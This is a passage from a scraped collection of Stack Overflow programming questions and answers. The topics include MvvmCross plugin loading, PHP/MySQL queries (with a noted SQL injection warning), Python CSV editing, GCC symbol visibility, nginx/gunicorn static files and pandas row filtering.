Plugin is loaded for Cirrious.MvvmCross.Plugins.WebBrowser.PluginLoader 2014-09-25 09:30:36.484 MyApp[2665:70b] mvx: Diagnostic: 5.22 Setup: App start</p> </blockquote> <p>And here's the output for the iOS version that throws the exception:</p> <blockquote> <p>2014-09-25 09:36:35.078 MyApp[2889:122068] mvx: Diagnostic:<br> 6.69 Setup: MvvmCross settings start 2014-09-25 09:36:35.078 MyApp[2889:122068] mvx: Diagnostic: 6.69 Setup: Singleton Cache start 2014-09-25 09:36:35.079 MyApp[2889:122068] mvx: Diagnostic: 6.69 Setup: Bootstrap actions 2014-09-25 09:36:35.096 MyApp[2889:122068] mvx: Diagnostic: 6.71 Setup: StringToTypeParser start 2014-09-25 09:36:35.098 MyApp[2889:122068] mvx: Diagnostic: 6.71 Setup: CommandHelper start 2014-09-25 09:36:35.098 MyApp[2889:122068] mvx: Diagnostic: 6.71 Setup: ViewModelFramework start 2014-09-25 09:36:35.099 MyApp[2889:122068] mvx: Diagnostic: 6.71 Setup: PluginManagerFramework start 2014-09-25 09:36:35.101 MyApp[2889:122068] mvx: Diagnostic: 6.71 Setup: App start</p> </blockquote> <p>With the missing "Ensure PlugIn loaded" statements, I'm thinking that the PlugIns aren't being loaded (I'm using File, Messenger, Visibility, Community Sqlite, Network, ResourceLoader and WebBrowser).</p> <p>As part of my debugging process, I integrated my application directly with the MvvmCross source code, using project references rather than packages. Not sure if that makes a difference but thought I should mention it.</p> <p>Still relatively new to MvvmCross, and any thoughts on why the PlugIns aren't loaded or what I might be missing in the conversion to iOS 8 would be greatly appreciated</p>
19468225	0	 <p>Although technically it is possible as Aladdin has answered, I would strongly suggest you not to use PHP/Yii for this. Neither Yii nor PHP is desgined for this sort of work. Yii is really a wonderful framework but it won't really help you with GA programming. PHP is versatile and fast, great for scripting etc. But it is not designed to be used in cases of GA where you will run many generations and runtime performance is a big factor. C++ or similar performing languages you should be considering.</p> <p>You mentioned time as a constraint both run time and development time. I would advice you to use a existing python/C++ library for GA algorithims and quickly implement the same </p> <p>Python Library: <a href="http://pyevolve.sourceforge.net/" rel="nofollow">http://pyevolve.sourceforge.net/</a> Source here: <a href="https://github.com/perone/Pyevolve" rel="nofollow">https://github.com/perone/Pyevolve</a></p> <p>C++ Library: <a href="http://lancet.mit.edu/ga/" rel="nofollow">http://lancet.mit.edu/ga/</a></p> <p>If performance of the algorithm is extremely important then C++ is the obvious choice. If presentation and flexibility then use the Python one, which I prefer personally. </p> <p>However if you wish to still use Yii/PHP, i suggest you compile these programs and call them in a console application / command in Yii and just use Yii to process the parameters store and display the output. </p>
15796025	0	Execute a SQL query With Anchor Tag <p>please help to solve this issue,</p> <p>I have a Anchor Tag in my page.</p> <p>i want to perform a SQL UPDATE query when users click the anchor tag, how can i do that without reloading the page?</p> <p>Thanks in advance.</p>
14688536	0	Move adjacent tab to split? <p>Is there an easy way to move an adjacent tab in Vim to current window as a split?</p> <p>While looking around I reached a mailing list discussion where someone said it's the reverse of the operation <kbd>Ctrl</kbd>+<kbd>W</kbd>,<kbd>T</kbd> without providing the solution.</p>
1700180	0	 <p>If I understood correctly, you need something like this:</p> <pre><code>foreach(datarow r in datatable.rows) { if(((int)r["Menu_ID"])==7) { //Don't apply CSS } else { //Apply CSS } } </code></pre> <p>this is assuming your Menu_ID column is numeric. If it is a string, change to:</p> <pre><code>if(((string)r["Menu_ID"])=="7") </code></pre>
29261399	0	 <p>This is incorrect:</p> <pre><code>CKEDITOR.editorConfig = function(config) { config.extraPlugins = 'timestamp'; config.extraPlugins = 'sharedspace'; }; </code></pre> <p>You first set <code>extraPlugins</code> to <code>'timestamp'</code> and right after that you set it to <code>'sharedspace'</code>. You need to set it once, with both values:</p> <pre><code>CKEDITOR.editorConfig = function(config) { config.extraPlugins = 'timestamp,sharedspace'; }; </code></pre>
37508754	0	 <p>All the occurances of <code>stocklevel</code> are getting replaced with the value of <code>newlevel</code> as you are calling <code>s.replace (stocklevel ,newlevel)</code>.</p> <blockquote> <p><strong>string.replace(s, old, new[, maxreplace]):</strong> Return a copy of string s with all occurrences of substring old replaced by new. If the optional argument maxreplace is given, the first maxreplace occurrences are replaced.</p> </blockquote> <p><a href="https://docs.python.org/2/library/string.html" rel="nofollow">source</a></p> <p>As you suggested, you need to get the <code>code</code> and use it replace the stock level. </p> <p>This is a sample script which takes the 8 digit code and the new stock level as the command line arguments adn replaces it:</p> <pre><code>import sys import re code = sys.argv[1] newval= int(sys.argv[2]) f=open("stockcontrol.csv") data=f.readlines() print data for i,line in enumerate(data): if re.search('%s,\d+'%code,line): # search for the line with 8-digit code data[i] = '%s,%d\n'%(code,newval) # replace the stock value with new value in the same line f.close() f=open("in.csv","w") f.write("".join(data)) print data f.close() </code></pre> <p>Another solution using the <a href="https://docs.python.org/2/library/csv.html" rel="nofollow">csv</a> module of Python:</p> <pre><code>import sys import csv data=[] code = sys.argv[1] newval= int(sys.argv[2]) f=open("stockcontrol.csv") reader=csv.DictReader(f,fieldnames=['code','level']) for line in reader: if line['code'] == code: line['level']= newval data.append('%s,%s'%(line['code'],line['level'])) f.close() f=open("stockcontrol.csv","w") f.write("\n".join(data)) f.close() </code></pre> <p><strong>Warning:</strong> Keep a back up of the input file while trying out these scripts as they overwrite the input file.</p> <p>If you save the script in a file called <code>test.py</code> then invoke it as:</p> <p><code>python test.py 34512340 10</code>.</p> <p>This should replace the stockvalue of code 34512340 to 10.</p>
24181422	0	 <p>You can simply do this:</p> <pre><code>SELECT order_date, SUM(CASE WHEN male_or_female_bike IS NULL THEN 1 WHEN male_or_female_bike='M' THEN 1 ELSE 0 END) as MaleCount, SUM(CASE WHEN male_or_female_bike ='F' THEN 1 ELSE 0 END) as FemaleCount FROM Bike_orders GROUP BY order_date ORDER BY order_date DESC </code></pre> <p>Result:</p> <pre><code>ORDER_DATE MALECOUNT FEMALECOUNT April, 08 2014 00:00:00+0000 2 2 February, 12 2014 00:00:00+0000 1 0 </code></pre> <p><kbd><a href="http://www.sqlfiddle.com/#!2/49321/3" rel="nofollow"><strong>Fiddle Demo</strong></a></kbd></p>
4227607	0	 <p>I haven't seen anything like this before but was thinking of trying to create something like this</p>
4415199	0	 <p>This is the classic <strong>assignment in conditional</strong> error - the expression is evaluated as following (because comparison has higher <a href="http://www.difranco.net/compsci/C_Operator_Precedence_Table.htm">precedence</a> then assignment):</p> <pre><code>if ( killedpid = ( wait( &amp;status ) &gt;= 0 )) { ... </code></pre> <p>The <code>killedpid</code> will get a value of TRUE, which is <code>1</code> in C. To get around this use parenthesis and <strong>compile with high warning levels</strong> like <code>-Wall -pedantic</code>:</p> <pre><code>if (( killedpid = wait( ... )) &gt;= 0 ) { ... </code></pre>
9672587	0	 <p><code>read</code> is a <a href="http://dev.mysql.com/doc/refman/5.5/en/reserved-words.html" rel="nofollow">reserved word,</a> and so needs to be specially quoted with backticks for it to work in query</p> <p>so try</p> <pre><code>if (!mysql_query("UPDATE $tblname SET `read`='$read' WHERE id='$id'")) { die("update failed with error ".mysql_error()); } </code></pre> <p>Also, the $id value isn't being sanitized in any way, so the code is vulnerable to an SQL injection attack. Definitely worth your time learning about such things.</p>
10536462	0	Creating tabs with different heights in Android <p>How I can create the following layout?</p> <p><img src="https://i.stack.imgur.com/qJqcd.png" alt="enter image description here"></p>
10943384	0	 <p>The URL scheme for programmatically launching Settings.app to a particular settings panel was briefly exposed (though I'm not sure if it was documented) in iOS 5. However, the capability has been suppressed for third-party apps in iOS 5.1. As it stands, there is currently no way to do this from a third-party app on the latest version of the OS - at least, not in a way that won't get your app rejected from the App Store. There's likely a jailbreak way to do this, but I don't dabble in that, so I wouldn't know.</p>
10604690	0	Noise/distortion after doing filters with vDSP_deq22 (biquad IIR filter) <p>I'm working on a DSP class (obj-c++) for <a href="http://alexbw.github.com/novocaine/" rel="nofollow">Novocaine</a>, but my filters only seem to cause noise/distortion on the signal.</p> <p>I've posted my full code and coefficients here: <a href="https://gist.github.com/2702844" rel="nofollow">https://gist.github.com/2702844</a> But it basically boils down to:</p> <pre><code>// Deinterleaving... // DSP'ing one channel: NVDSP *handleDSP = [[NVDSP alloc] init]; [handleDSP setSamplingRate:audioManager.samplingRate]; float cornerFrequency = 6000.0f; float Q = 0.5f; [handleDSP setHPF:cornerFrequency Q:Q]; [handleDSP applyFilter:audioData length:numFrames]; // DSP other channel in the same way // Interleaving and sending to audio output (Novocaine block) </code></pre> <p>See the gist for full code/context.</p> <p>The coefficients:</p> <pre><code>2012-05-15 17:54:18.858 nvdsp[700:16703] b0: 0.472029 2012-05-15 17:54:18.859 nvdsp[700:16703] b1: -0.944059 2012-05-15 17:54:18.860 nvdsp[700:16703] b2: 0.472029 2012-05-15 17:54:18.861 nvdsp[700:16703] a1: -0.748175 2012-05-15 17:54:18.861 nvdsp[700:16703] a2: 0.139942 </code></pre> <p>(all divided by <code>a0</code>)</p> <p>Since I presumed the coefficients are in the order of: <code>{ b0/a0, b1/a0, b2/a0, a1/a0, a2/a0 }</code> (see: <a href="http://stackoverflow.com/questions/10375359/iir-coefficients-for-peaking-eq-how-to-pass-them-to-vdsp-deq22">IIR coefficients for peaking EQ, how to pass them to vDSP_deq22?</a>)</p> <p>What is causing the distortion/noise (the filters don't work)?</p>
20196226	0	 <p>The following regex will strip the first and last slashes if they exist,</p> <pre><code>var result = "/installers/services/".match(/[^/].*[^/]/g)[0]; </code></pre>
15435248	0	 <p>You want the <a href="http://gcc.gnu.org/onlinedocs/gcc/Function-Attributes.html#Function-Attributes" rel="nofollow">visibility attribute</a> extension of GCC.</p> <p>Practically, something like:</p> <pre><code> #define MODULE_VISIBILITY __attribute__ ((visibility ("hidden"))) #define PUBLIC_VISIBILITY __attribute__ ((visibility ("default"))) </code></pre> <p><sup>(You probably want to <code>#ifdef</code> the above macros, using some configuration tricks à la <code>autoconf</code>and other <em>autotools</em>; on other systems you would just have empty definitions like <code>#define PUBLIC_VISIBILITY /*empty*/</code> etc...)</sup></p> <p>Then, declare a variable:</p> <pre><code>int module_var MODULE_VISIBILITY; </code></pre> <p>or a function </p> <pre><code>void module_function (int) MODULE_VISIBILITY; </code></pre> <p>Then you can use <code>module_var</code> or call <code>module_function</code> inside your shared library, but not outside.</p> <p>See also the <a href="http://gcc.gnu.org/onlinedocs/gcc/Code-Gen-Options.html" rel="nofollow">-fvisibility</a> code generation option of GCC.</p> <p>BTW, you could also compile your whole library with <code>-Dsomeglobal=alongname3419a6</code> and use <code>someglobal</code> as usual; to really find it your user would need to pass the same preprocessor definition to the compiler, and you can make the name <code>alongname3419a6</code> random and improbable enough to make the collision improbable.</p> <hr> <p>PS. This visibility is <strong>specific to GCC</strong> (and probably <strong>to ELF shared libraries</strong> such as those on Linux). It won't work without GCC or outside of shared libraries.... so is quite Linux specific (even if some few other systems, perhaps Solaris with GCC, have it). Probably some other compilers (<code>clang</code> from <a href="http://llvm.org/" rel="nofollow">LLVM</a>) might support also that <em>on Linux</em> for <em>shared libraries</em> (not static ones). Actually, the real hiding (to the several compilation units of a single shared library) is done mostly by the linker (because the <a href="http://en.wikipedia.org/wiki/Executable_&amp;_Linkable_Format" rel="nofollow">ELF</a> shared libraries permit that).</p>
16811289	0	 <p>Read <a href="http://docs.oracle.com/javase/7/docs/technotes/guides/vm/performance-enhancements-7.html">here</a></p> <blockquote> <p>Tiered Compilation</p> <p>Tiered compilation, introduced in Java SE 7, brings client startup speeds to the server VM. Normally, a server VM uses the interpreter to collect profiling information about methods that is fed into the compiler. In the tiered scheme, in addition to the interpreter, the client compiler is used to generate compiled versions of methods that collect profiling information about themselves. Since the compiled code is substantially faster than the interpreter, the program executes with greater performance during the profiling phase. In many cases, a startup that is even faster than with the client VM can be achieved because the final code produced by the server compiler may be already available during the early stages of application initialization. The tiered scheme can also achieve better peak performance than a regular server VM because the faster profiling phase allows a longer period of profiling, which may yield better optimization.</p> </blockquote>
2273122	0	How do I validate that two values do not equal each other in a Rails model? <p>I have a User model, which has an email and a password field. For security, these may not be equal to each other. How can I define this in my model?</p>
16311007	0	knockout.js using the mapping plugin <p>I am a newbie with knockout.js and want to start using the automatic mapping plugin. How can I convert this manually mapped code to use the mapping plugin?</p> <p><a href="http://jsfiddle.net/infatti/jWTtb/6/" rel="nofollow">http://jsfiddle.net/infatti/jWTtb/6/</a></p> <pre><code>// Here's my data model var ViewModel = function (firstName, lastName) { var self = this; self.firstName = ko.observable(firstName); self.lastName = ko.observable(lastName); self.loadJson = function () { $.getJSON("http://echo.jsontest.com/firstName/Stuart/lastName/Little", function (data) { self.firstName(data.firstName); self.lastName(data.lastName); }); return true; }; }; var vm = new ViewModel(); ko.applyBindings(vm); // This makes Knockout get to work </code></pre>
23217931	0	 <p>There is no need to create a folder specifically for your configuration file, you can specify its path with the <code>-c /path/to/your/file</code> or <code>--configuration=/path/to/your/file</code> option.</p> <p>Source: <a href="http://supervisord.org/running.html" rel="nofollow">http://supervisord.org/running.html</a></p>
6658394	0	C++, Can't find loaded C# DLL while enumerating loaded modules <p>thank you for taking the time to read this.</p> <p>The situation is basically, I'm using EnumProcessModulesEx to enumerate all the modules in a loaded process. I've verified that the process I'm getting with GetCurrentProcess is correct (via the ID). I seem to be getting all the loaded modules except the one I want! It's a C# DLL that is only loaded when the C# DLL function is called. I made sure the DLL was loaded before I ran the enumerating function. Is there a reason this C# DLL won't show up?</p> <p>I also put this enumeration after I load a couple of other C# DLLs in my C++ code. It doesn't seem to be finding those either. All of these C# DLLs are dynamically loaded. I figure it shouldn't matter because a) everything is mapped into the process address space anyways, and b) I have a C++ DLL that is injected (dynamically loaded?) and I can find that just fine. My goal is to be able to hook a C# DLL function, so being able to find these C# DLLs is a must in this project. </p> <p>Thank you all again for any tips or insights! =)</p>
36641217	0	 <p>This way <code>Users.visible_to</code> will return premium and admin users. </p> <pre><code>scope :visible_to, -&gt; (user) do where(users.premium? = ? OR users.admin? = ?, true, true) end </code></pre>
7061267	0	Send Event Email Reminder asp.net mvc <p>im not using an event scheduler just asp.net mvc and need to send a reminder 4 days before event. I have the Date Stored of Event(Event_Start), can u please help?</p> <p>I have created a class in the controller public void Reminder() , but now im stuck</p>
28982891	1	pandas print all non empty rows <p>I have this data</p> <pre><code>time-stamp ccount A B C D E F G H I 2015-03-03T23:43:33+0000 0 0 0 0 0 0 0 0 0 0 2015-03-04T06:33:28+0000 0 0 0 0 0 0 0 0 0 0 2015-03-04T06:18:38+0000 0 0 0 0 0 0 0 0 0 0 2015-03-04T05:36:43+0000 0 0 0 1 0 0 0 0 0 0 2015-03-04T05:29:09+0000 0 0 0 1 0 0 0 0 1 0 2015-03-04T07:01:11+0000 0 0 1 0 1 0 0 0 0 0 2015-03-03T15:27:06+0000 19 0 1 0 1 0 0 0 0 0 2015-03-03T15:43:38+0000 10 0 1 0 1 1 0 0 0 0 2015-03-03T18:16:26+0000 0 0 0 1 0 0 0 0 0 0 2015-03-03T18:19:48+0000 0 0 0 0 0 0 0 0 0 0 2015-03-03T18:20:02+0000 4 0 0 0 0 1 0 0 0 0 2015-03-03T20:21:55+0000 2 0 0 0 0 0 1 0 0 0 2015-03-03T20:37:36+0000 0 0 0 0 0 0 0 0 0 0 2015-03-04T03:03:51+0000 1 0 0 0 0 0 1 0 0 0 2015-03-03T16:33:04+0000 9 0 0 0 0 0 0 0 0 0 2015-03-03T16:18:13+0000 1 0 0 0 0 0 0 0 0 0 2015-03-03T16:34:18+0000 4 0 0 0 0 0 0 0 0 0 2015-03-03T18:11:36+0000 5 0 0 0 0 0 0 0 0 0 2015-03-03T18:24:35+0000 0 0 0 0 0 0 0 0 0 0 </code></pre> <p>I want to slice all rows which have atleast single one ("1") in their columns A-to-I. i.e. for above data , output will be</p> <pre><code>time-stamp ccount A B C D E F G H I 2015-03-04T05:36:43+0000 0 0 0 1 0 0 0 0 0 0 2015-03-04T05:29:09+0000 0 0 0 1 0 0 0 0 1 0 2015-03-04T07:01:11+0000 0 0 1 0 1 0 0 0 0 0 2015-03-03T15:27:06+0000 19 0 1 0 1 0 0 0 0 0 2015-03-03T15:43:38+0000 10 0 1 0 1 1 0 0 0 0 2015-03-03T18:16:26+0000 0 0 0 1 0 0 0 0 0 0 2015-03-03T18:20:02+0000 4 0 0 0 0 1 0 0 0 0 2015-03-03T20:21:55+0000 2 0 0 0 0 0 1 0 0 0 2015-03-04T03:03:51+0000 1 0 0 0 0 0 1 0 0 0 </code></pre> <p>i.e. we have ignored all the rows which dont have a "1" in any of the columns from [A:I]</p>
25523083	0	 <p>I've run into the exact same issue (with a different password of course).</p> <p>To keep the connection string to the database working on the developer machines i've modified the publish settings to use a 'different' connections string. </p> <p>For your example: web.config would contain:</p> <pre><code>&lt;connectionStrings&gt; &lt;add name="MyDB" connectionString="server=Server1;uid=user1;pwd=abc123%72;database=Database1;" &lt;/connectionStrings&gt; </code></pre> <p>Under the publish settings right-click project, select publish..., go to settings->databases. For the database MyDB, enter</p> <pre><code> server=Server1;uid=user1;pwd=abc123%72;database=Database1; </code></pre> <p>This allowed my developer machine to retain it's connection to the database and the host machine to automatically use the correct connection string both by publishing directly or through teamcity.</p>
35777332	0	FullCalendar fetching events from server not working <p>I am trying to fetch events from my LocalDB server and have them display on my calendar, but they aren't appearing.</p> <p>I am using the following method to fetch the events.</p> <pre><code>public JsonResult GetEvents(double start, double end) { var fromDate = ConvertFromUnixTimestamp(start); var toDate = ConvertFromUnixTimestamp(end); var eventList = from e in db.Events select new { ID = e.ID, Title = e.Title, StartDate = e.StartDate.ToString("s"), EndDate = e.EndDate.ToString("s"), EventType = e.EventType, Hours = e.Hours, AllDay = true }; var rows = eventList.ToArray(); return Json(rows, JsonRequestBehavior.AllowGet); } private static DateTime ConvertFromUnixTimestamp(double timestamp) { var origin = new DateTime(1970, 1, 1, 0, 0, 0, 0); return origin.AddSeconds(timestamp); } </code></pre> <p>My calendar is rendered as follows:</p> <pre><code>@Styles.Render("~/Content/fullcalendar") @Scripts.Render("~/bundles/jquery") @Scripts.Render("~/bundles/fullcalendar") &lt;br /&gt; &lt;div id="calendar"&gt;&lt;/div&gt; &lt;br /&gt; &lt;script type="text/javascript"&gt; $(document).ready(function () { $('#calendar').fullCalendar({ header: { left: 'title', center: '', right: 'prev,next today' }, defaultView: 'month', weekends: false, editable: false, events: "/Home/GetEvents/" }); }); &lt;/script&gt; </code></pre> <p>Any help is greatly appreciated.</p> <p><strong>EDIT:</strong></p> <p>This is in my web console:</p> <pre><code>no element found abort:1:1 Use of getPreventDefault() is deprecated. Use defaultPrevented instead. browserLink:37:40278 no element found send:1:1 no element found send:1:1 no element found send:1:1 no element found GET http://localhost:54802/Home/GetEvents/ [HTTP/1.1 500 Internal Server Error 10ms] </code></pre>
14760056	0	 <p>I think you are going the wrong way. Backpropagation isn't a good choice for this type of learning (somehow incremental learning). To use backpropagation you need some data, say 1000 data where <strong>different types of similaritiy (input)</strong> and the <strong>True Similarity (output)</strong> are given. Then weights will update and update until error rate comes down. And besides you need test data set too that will make you sure the result network will do good even for similarity values it didn't see during training.</p>
25943857	0	 <p>To draw multi line text with Snap.svg is a bit bother.<br> When you call Paper.text method with string array, Snap.svg creates tspan elements under the text element.<br> If you want to display the text element as multi line, you should set position to each tspan element manually.<br></p> <pre><code>var paper = Snap(200,200); paper.text({text:["Line1", "Line2", "Line3"]}) .attr({fill:"black", fontSize:"18px"}) .selectAll("tspan").forEach(function(tspan, i){ tspan.attr({x:0, y:25*(i+1)}); }); </code></pre>
13246014	0	 <p>Please refer the default icon names..</p> <blockquote> <pre><code>Iphone(non retina) :icon.png </code></pre> <p>Iphone(retina) :icon@2x.png</p> <p>Ipad(Non retina) :Icon-72.png</p> <p>IPad(Retina) :Icon-72@2x.png</p> </blockquote>
19106932	0	 <p>Frame will be different at run time: this means that the location of a frame on the storyboard is different than where your constraints dictate it should be.</p> <p>Ambiguous: this means that you're missing some constraints.</p> <p>To resolve these issues, if you open up your storyboard, you'll see yellow or red arrows beside certain scenes on the list to the left. Clicking the arrow will reveal a view with all the issues with that scene. To fix the "frame will be different at run time" error, change the x, y, width, and height of the frame rectangle of the view with the wrong frame. To fix the ambiguous warning, add extra constraints.</p>
9865292	0	trouble debugging and running sample android project <p>I installed the Android 2.2 SDK (2.2 is the version i have on my smartphone). I've tried running the NotePad sample project as an Android project. Here is what happens: the emulator loads, but when I click on the app, the screen goes blank. There are no errors being thrown. Has anyone else run into this problem? If so, how have you fixed it?</p>
16696122	0	 <p>Whenever you open a stream (or a writer / reader, which wrap a stream), that locks the file.</p> <p>You need to close your streams using the <code>using</code> statement.</p>
10992734	0	 <p>try <code>right: 100%</code> instead of <code>left: 0</code>, which basically tells your menu that it should position its left edge to the leftmost edge of its parent. <code>right: 100%</code> should tell it to align its rightmost edge with your parent menus leftmost edge. Hope this helps!</p>
10615789	0	 <p>You may checkout the <a href="http://msdn.microsoft.com/en-us/library/system.environment.username.aspx" rel="nofollow">UserName</a> property:</p> <pre><code>string username = Environment.UserName; </code></pre>
17391616	0	Serving static files with Nginx + Gunicorn + Django <p>This is my nginx config:</p> <pre><code> server { listen 80; server_name localhost; keepalive_timeout 5; access_log /home/tunde/django-projects/mumu/nginx/access.log; error_log /home/tunde/django-projects/mumu/nginx/error.log; root /home/tunde/django-projects/mumu; location / { try_files $uri @proxy_to_app; } location @proxy_to_app { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; proxy_pass http://127.0.0.1:8000; } } </code></pre> <p>My settings.py looks like:</p> <pre><code> import os settings_dir = os.path.dirname(__file__) PROJECT_ROOT = os.path.abspath(os.path.dirname(settings_dir)) STATIC_ROOT = '/home/tunde/django-projects/mumu/STATIC/' STATIC_URL = '/static/' STATICFILES_DIRS = ( os.path.join(PROJECT_ROOT, 'static/'), ) </code></pre> <p>My supervisord.conf file looks like:</p> <pre><code>[program: mumu] command = /home/tunde/ENV1/bin/gunicorn -w 1 --bind=127.0.0.1:8000 mumu.wsgi:application directory = /home/tunde/django-projects/mumu/ stdout_logfile= /home/tunde/django-projects/mumu/supervisor/logfile.log stderr_logfile= /home/tunde/django-projects/mumu/supervisor/error.log user = tunde </code></pre> <p>The problem is that static files don't get served and I have no idea what I'm doing wrong. A url like /static/css/styles.css returns a 404. Help will be greatly appreciated.</p>
15722041	0	 <p>There is currently not a managed DLL available from Microsoft that wraps the Management API; however, there are a few other options. First, there are command line tools such as the PowerShell CmdLets and the CLI tools found at <a href="http://www.windowsazure.com/en-us/downloads/" rel="nofollow">http://www.windowsazure.com/en-us/downloads/</a>. If you only need to script these calls to delete the deployment these will work for you just fine. In my opinion I would suggest NOT looking at csmanage as that is an old sample and not maintained. The command line tools are the replacement.</p> <p>Second, you can do so using code to call the REST based management API much like Neil indicated in the first link you included in your question. The documentation for the API can be found at <a href="http://msdn.microsoft.com/en-us/library/windowsazure/ee460812.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/windowsazure/ee460812.aspx</a>. Note that there is a Delete Deployment specifically at <a href="http://msdn.microsoft.com/en-us/library/windowsazure/ee460815.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/windowsazure/ee460815.aspx</a>. Just like Neil's examples you'll use calls direct to the REST API. </p>
1057979	0	where is lstrncpy's head file? <p>I know lstrcpy is used for string copy for both unicode and ascii, But I can not use lstrncpy, because I can't find the head file. What is the name of the head file, I googled it, and find someone is using it. Many thanks!</p>
16714062	0	Replace a method with parameters by a closure in metaclass <p>I have two class:</p> <pre><code>class Foo { String doSomething(String a, String b) { return 'Not Working' } } class Bar { String methodIWannaTest() { return new Foo().doSomething('val1', 'val2') } } </code></pre> <p>And I want to replace 'doSomething' in a test but it dosent work</p> <pre><code>class BarTests { @Test void testMethodIWannaTest() { Foo.metaClass.doSomething {String a, String b -&gt; return 'Working'} assert new Bar().methodIWannaTest() == 'Working' //THIS TEST FAIL, return 'Not Working' } } </code></pre> <p>*I know the test doesn't really make sens, it's just to show my point</p> <p>What do I do wrong ? Is it possible to do it without using 'mockFor' ?</p>
26607495	0	 <p>This is a bug in Unity. You may want to submit a bug report and wait for a patch release to fix it (though you used a preview image, it is also likely to happen on retail Android 5.0).</p> <p>Edit: I tried on a Nexus Player, and the fonts were rendering just fine. Looks like Google forgot to add some fonts to the preview image. If you are experiencing this issue with a retail version of Android 5.0, please submit a bug for Unity.</p>
14526832	0	 <p>I'm feeling rather clever about this answer, but I strongly suspect that I've made too many assumptions about your data, in particular the constant nature of var2 and var3:</p> <pre><code>ddply(dat,.(permno,dte,var2,var3), function(x) { dcast(x,permno + dte + var2 + var3 ~ ttm,value.var = 'var1') }) permno dte var2 var3 20 30 1 123 2012-01-01 10 100 1 -1 2 124 2012-01-01 20 200 2 -2 </code></pre>
4165054	0	missing ; before statement : $(this).closest('tr').find('.tableRow'){\n <pre><code>$('.removeItem').live('click',function(){ var postData = {}; $(this).closest('tr').find('.tableRow'){ var keyPrefix = 'data[' + index + ']'; postData[keyPrefix + '[index]'] = $(this).closest('tr').find('.row_id').text(); postData['data['+ index +'][order_id]'] = $('#order_id').text(); }; </code></pre> <p>I'm not sure if its obvious what i'm trying to do but can anyone spot where i'm going wrong?</p> <p>EDIT:</p> <p>Completely my fault, was slightly misleading in my original post, this is my complete code:</p> <pre><code>$('.removeItem').live('click',function(){ var postData = {}; $(this).closest('tr').find('.tableRow'){ var keyPrefix = 'data[' + index + ']'; postData[keyPrefix + '[index]'] = $(this).closest('tr').find('.row_id').text(); postData['data['+ index +'][order_id]'] = $('#order_id').text(); )}; $.ajax ({ type: "POST", url: "deleterow.php", dataType: "json", data: postData, cache: false, success: function() { alert("Item Deleted"); } }); $(this).closest('tr').remove(); calcTotal(); }); </code></pre>
9751278	0	 <p>no idea if this helps, but I just found this in some code:</p> <pre><code> void XFakeKeypress(Display *display, int keysym) { XKeyEvent event; Window current_focus_window; int current_focus_revert; XGetInputFocus(/* display = */ display, /* focus_return = */ &current_focus_window, /* revert_to_return = */ &current_focus_revert); event.type = /* (const) */ KeyPress; event.display = display; event.window = current_focus_window; event.root = DefaultRootWindow(/* display = */ display); event.subwindow = /* (const) */ None; event.time = 1000 * time(/* tloc = */ NULL); event.x = 0; event.y = 0; event.x_root = 0; event.y_root = 0; event.state = /* (const) */ ShiftMask; event.keycode = XKeysymToKeycode(/* display = */ display, /* keysym = */ keysym); event.same_screen = /* (const) */ True; XSendEvent(/* display = */ display, /* w = (const) */ InputFocus, /* propagate = (const) */ True, /* event_mask = (const) */ KeyPressMask, /* event_send = */ (XEvent *)(&event)); event.type = /* (const) */ KeyRelease; event.time = 1000 * time(/* tloc = */ NULL); XSendEvent(/* display = */ display, /* w = (const) */ InputFocus, /* propagate = (const) */ True, /* event_mask = (const) */ KeyReleaseMask, /* event_send = */ (XEvent *)(&event)); } </code></pre>
11384315	0	django radio buttons in forms <p>I have a form in Django with radio buttons that have various properties for users. When an admin user (in my application...not the django admin) wants to edit properties for different users, the same form objects should appear for all users in a list. So say there is a list of possible permissions for users, I have a table with the list of users, and the user permissions options (radio buttons) should appear next to them. In the form I have a radio button choice field with all available permissions. But in the view, how do I get it to appear for each user? Also, how do I set initial data when there're are many of the same form object? Is there an example of this somewhere? Thanks!</p> <p><strong>[EDIT]</strong></p> <p>Below is basically what I am trying to show:</p> <pre><code> &lt;table class="admin_table"&gt; &lt;tr&gt; &lt;th&gt;Firstname&lt;/th&gt; &lt;th&gt;Lastname&lt;/th&gt; &lt;th&gt;User Permission&lt;/th&gt; &lt;/tr&gt; {% if users|length &gt; 0 %} {% for user in users %} &lt;tr&gt; &lt;td&gt;{{ user.first_name }}&lt;/td&gt; &lt;td&gt;{{ user.last_name }}&lt;/td&gt; &lt;td&gt;[RADIO BUTTONS]&lt;/td&gt; &lt;/tr&gt; {% endfor %} {% endif %} &lt;/table&gt; </code></pre> <p>The place where I wrote <code>[RADIO BUTTONS]</code>, is where I woud like to show multiple radio buttons which should appear for each <em>user</em>, not for the whole form.</p> <p>Also, I'm looking at this site: <a href="http://jacobian.org/writing/dynamic-form-generation/" rel="nofollow">http://jacobian.org/writing/dynamic-form-generation/</a>. Not sure if that's the solution, but the problem the author is trying to solve is very interesting anyway.</p>
19387031	0	 <p>You can create a List(Of String) e.g.</p> <pre><code>Dim arr As New List(Of String) </code></pre> <p>And inside of your loop collect your strings:</p> <pre><code>arr.Add(CurrentString) </code></pre> <p>After the loop <code>arr</code> would have all the strings. Then you can run a simple LINQ query:</p> <pre><code>Dim Summary = From a In arr Group By Name = a Into Group _ Select Name, Cnt = Group.Count() </code></pre> <p>This Summary will give you the counts. You can use it for example </p> <pre><code>For Each elem In Summary 'Output elem.Name 'Output elem.Cnt Next </code></pre> <p>For your example this will produce</p> <pre><code>Name = "Jane", Cnt = 3 Name = "Matt", Cnt = 4 Name = "Paul", Cnt = 1 </code></pre>
24299268	0	Adding a WCF Service reference in Visual Studio 2013 <p>Following an example about WCF, it seems that in VS 2010 you could right click the references, hit "Add Service Reference", and then hit the "Discover" to get find services in the solution. </p> <p>This does not work in VS 2013. I have my Service dll, I have a service host, but it will not find any services.<br> Clean, rebuild, try again -> same outcome.</p> <p>I'm running VS as an administrator (Win 8 + VS 2013 -> can't run WCF if not admin).</p> <p>The option of running the service through VS and then adding a reference does not exist (won't allow to add service reference when running), so the only solutions I've found are: </p> <ul> <li>Use svcutil manually (works though)</li> <li>run the service.exe manually (as admin), and then point to it's end point.</li> </ul> <p>Any ideas what's up? </p>
12714690	0	 <p>I sadly do not have the SEO answer to your question, but a solution would be to use a negative margin to hide the element off screen. Then when javascript kick in you set the correct position and hide, then you fade in or do what ever you want to do.</p>
